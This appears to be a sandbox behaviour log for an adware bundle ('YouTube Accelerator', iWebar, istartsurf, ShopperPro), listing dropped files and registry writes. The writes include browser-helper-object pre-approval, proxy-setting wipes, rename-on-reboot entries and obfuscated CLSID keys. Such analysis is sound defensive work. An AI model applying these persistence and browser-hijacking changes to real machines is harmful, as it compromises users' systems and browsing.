%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgaussianblur_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png (95 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ckb\LC_MESSAGES\vlc.mo (3616 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\kmr\LC_MESSAGES\vlc.mo (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libfaad_plugin.dll (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo (20624 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo (12024 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\snapshot.png (206 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout.h (5 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_acl.h (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_rar_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_mpjpeg_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\id\LC_MESSAGES\vlc.mo (12536 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_access.h (6 bytes)
%Program Files% (x86)\VideoLAN\VLC\COPYING.txt (784 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_raop_plugin.dll (14184 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\libt140_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\cgg\LC_MESSAGES\vlc.mo (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\sd.png (116 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_livehttp_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\misc\libmemcpy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_point.png (111 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libvmem_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirect3d_plugin.dll (2392 bytes)
%Program Files% (x86)\VideoLAN\VLC\New_Skins.url (64 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\notify\libmsn_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\pause.png (82 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\vimeo.luac (3 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_player.h (1856 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\.hosts (289 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscale_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ta\LC_MESSAGES\vlc.mo (3312 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\stream_config_window.html (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_copy_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradfun_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\ro\LC_MESSAGES\vlc.mo (11048 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_i420_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\meta\art\00_musicbrainz.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemuxdump_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\npvlc.dll.manifest (294 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmagnify_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\uk\LC_MESSAGES\vlc.mo (25824 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_flac_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_filter.h (14 bytes)
%Program Files% (x86)\VideoLAN\VLC\locale\fi\LC_MESSAGES\vlc.mo (20416 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\shuffle.png (110 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\codec\liba52_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvoc_plugin.dll (1552 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\sd\metachannels.luac (2 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\images\Audio-48.png (4 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\slider_bar.png (86 bytes)
%Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube_homepage.luac (1 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstofloat32_plugin.dll (6584 bytes)
%Program Files% (x86)\VideoLAN\VLC\plugins\access\libscreen_plugin.dll (1552 bytes)

The process GLJC014.tmp:3416 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process INS_SENSE.EXE:3556 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp\Xqaaz.exe (1692963 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp\Mdustzuhwoc.tmp (397531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp\abxbingaf.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp\frhpnmmmq.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx12F4.tmp\ekled.dll (2122 bytes)

The process taskeng.exe:3132 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1794\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:3956 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nssB1A3.tmp (35697 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\4D90EAE405E9E2FF (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiB1B4.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)

The process vlc.exe:552 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\VideoLAN\VLC\plugins\plugins.dat.552 (45012 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlc-qt-interface.ini (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\vlc\vlcrc.552 (11109 bytes)

The process INS_IWEBAR.EXE:1452 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx1304.tmp\abxbingaf.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx1304.tmp\ekled.dll (2122 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx1304.tmp\Vbrgnmfwi.exe (1683475 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx1304.tmp\Tddyzfitw.tmp (396048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx1304.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx1304.tmp\frhpnmmmq.dll (30 bytes)

Registry activity

The process 62de6a4a-4569-4108-bd93-895e0f28cde9-4.exe:1760 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\iWebar\kOh3UM0sElMiqev3yfmeSQG kIDfQMrDtUUKdBeZQFYRDn 4vqALxCRhdjVUQuH02yH41TJV1E8pqvbhPOggZ5Ln6qV98SgznqY9yJY5JtWQyQOBj2KP1Oo6KStyL37EiRvGTGPJMEDJGk0 f2wuncrPpvLrepeO3UC8nxb/hJI=]
"EjBZWTgzCSYnv0us2GklJd9kak/HonX7GcA9biIxImj2lk6xB/XpnoQzpEobQ4Di8Cm5mO7lN2MCHfl3qtk13f Lwvu9/2Bbl/41z66wiep4fCgs4UOAaD1Gu1t4uL/m lEmLwy3igXug1J0xltFV0VByOF7d2Q6l5XweQi9vIs=" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\BdC8v2inq6DW0g 17Itij/Ao6qs7VY2UO/GLLUG vwECX0QzvPokNprJa 54LBUUswWEm5FuqOnu5tFjnTqkaee0MtijumFPn5RIL3h694Qb26mrJ47q4ZppeNcqx5gSlSy5rqRSjxMv SwJaW0v4syWcWjxlduFPAWXIrOGxo8=]
"Ep6RiGazZALFlmrTnWf1Z5S23oPOb5Bdil0Tu6jOzEGh4I/ pY/mBVxLTMDLxoAWZLmghf/uhnKXU2ew/DoyBxlJZSV EJNyM3nX5DIcxGhQnPmv0Vh3JNSqHfUZQcT8ztyH69YC/0L5MiY400AtutKJLFyGrRrRZ1aJs0z5o7M=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process YTAHelper.exe:4008 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"UserId" = "%%PIXGUID(aff=smtyc"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "40 EE F2 87 7C 80 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
"{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"
"NoExplore" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"CONFIGLOCATION" = "C:\ProgramData\YTAHelper"
"Version" = "1.5.4.199"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4C 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator\ExtraInfo]
"DBVersion" = "1.0.0.1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"DBLocation" = "C:\ProgramData\YTAHelper"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process smt_istartsurf.exe:2000 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "CD 86 0F 5E 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"
"WpadDecisionTime" = "6D F2 65 74 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 44 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.25.11, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp418301\521.json,"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ProtectWindowsManager.exe:3736 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\services\eventlog\Application\WindowsMangerProtect]
"EventMessageFile" = "C:\ProgramData\WindowsMangerProv~"
"TypesSupported" = "7"

The process ProtectWindowsManager.exe:3752 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 06 00 00 00 09 00 00 00 00 00 00 00"
"DefaultConnectionSettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"
"WpadDecisionTime" = "0B 3A 17 A1 7C 80 D0 01"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"
"WpadDetectedUrl" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "3D C0 A5 89 7C 80 D0 01"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

The process YouTubeAcceleratorService.exe:3812 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 73 A4 44 A3"

The process YouTubeAcceleratorService.exe:3680 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 73 A4 44 A3"

The process YouTubeAcceleratorService.exe:3728 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 73 A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"Assembly" = "dao, Version=10.0.4504.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
"Class" = "dao.GroupClass"
"ThreadingModel" = "Apartment"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "7A 38 09 CD 48 17 1F FF FF FF FF 64 22 18 AF D9"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\ProgID]
"(Default)" = "DAO.Group.36"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "DAO.Group.36"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "%CommonProgramFiles(x86)%\Microsoft Shared\DAO\dao360.dll"
"RuntimeVersion" = "v1.0.3705"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process YouTubeAcceleratorService.exe:3428 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQ}JbXMHpbpODr"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 05 00 00 00 09 00 00 00 00 00 00 00"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"

[HKU\.DEFAULT\Software\GOOBZO\YouTube Accelerator]
"LastUpdateTime" = "1430092560"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 73 A4 44 A3"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LSPTestSucceeded" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "09 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"XMLVersion" = "0"
"XMLUpdateFailed" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPPW" = "6eoZ2woz"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"VA_Aff" = "NONE"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "K\K{RWglh|ab@_w}Yu`gBISI`@Ndl"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"UpdateReason" = "0"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "3D C0 A5 89 7C 80 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "33648ded-6a64-4e2a-b602-af2ae10fa726"
"SBAIDV" = "0"
"SBPIDV" = "0"
"SBAPW" = "hwpZuese"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dt`MRLXEStLli@u"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "da016b75-2f76-45d2-9c78-4fb8bb7b9126"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZbb"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionTime" = "3D C0 A5 89 7C 80 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LKekjRXx|QYWxfDd`N[AtsXnDWskH"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
